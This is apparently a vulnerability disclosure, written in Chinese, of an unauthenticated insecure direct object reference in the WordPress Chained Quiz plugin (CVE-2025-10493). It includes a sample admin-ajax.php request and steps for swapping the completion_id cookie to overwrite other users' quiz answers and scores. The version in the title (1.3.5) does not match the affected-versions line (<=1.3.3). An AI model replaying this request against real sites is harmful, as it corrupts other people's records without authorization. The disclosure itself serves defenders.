漏洞标题: Chained Quiz 1.3.5 - 通过Cookie的未授权不安全直接对象引用
发布日期: 2025-12-25
漏洞作者: Karuppiah Sabari Kumar (0xsabre)
厂商主页: https://wordpress.org/plugins/chained-quiz/
软件链接: https://downloads.wordpress.org/plugin/chained-quiz.1.3.3.zip
受影响版本: <= 1.3.3
测试平台: WordPress / Linux
CVE编号: CVE-2025-10493
漏洞类型
不安全的直接对象引用 / 不恰当的授权
漏洞描述
Chained Quiz插件使用可预测的、自动递增的数据库ID(completion_id)存储每次测验尝试,并将该值直接暴露在名为 chained_completion_id<quiz_id> 的客户端Cookie中。
当通过admin-ajax.php提交或重新提交测验答案时,服务器仅基于此Cookie值更新测验尝试记录,而不验证该尝试是否属于当前已认证的用户。
当插件使用默认设置时,利用此漏洞无需任何身份验证。
服务器直接使用Cookie中的completion_id检索测验尝试,并在不验证所有权的情况下执行UPDATE查询。
因此,攻击者可以通过猜测或枚举有效的completion_id值并重放答案提交,来劫持或篡改其他用户的测验尝试。
受影响组件
通过admin-ajax.php处理的测验提交和结果功能。
概念验证
步骤 1:受害者用户提交
用户完成一次测验。提交内容使用一个completion_id存储,并通过Cookie与用户会话关联,例如:
chained_completion_id1=2
步骤 2:攻击者拦截
攻击者完成同一个测验,并使用代理或浏览器开发者工具拦截自己的提交请求。
示例请求:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Cookie: chained_completion_id1=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded
answer=0&question_id=1&quiz_id=1&post_id=117&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1
步骤 3:篡改
攻击者修改Cookie值以匹配另一个用户的测验尝试,例如:
chained_completion_id1=2
攻击者还可以修改"answer"或"points"等参数来操纵测验答案或分数。
然后将修改后的请求发送到服务器。
步骤 4:结果
服务器在没有验证completion_id所有权的情况下,覆盖了受害者用户的测验提交内容,包括答案和分数。
影响
攻击者可以任意修改属于其他用户的测验答案、分数或结果。这导致测验数据的完整性被破坏,并允许对已完成的测验尝试进行未经授权的操纵。在将测验结果用于评估、排行榜或证书的环境中,这会破坏对平台的信任,并影响任何依赖测验完成数据的下游集成。
CWE编号
- CWE-639: 通过用户控制密钥绕过授权
- CWE-285: 不恰当的授权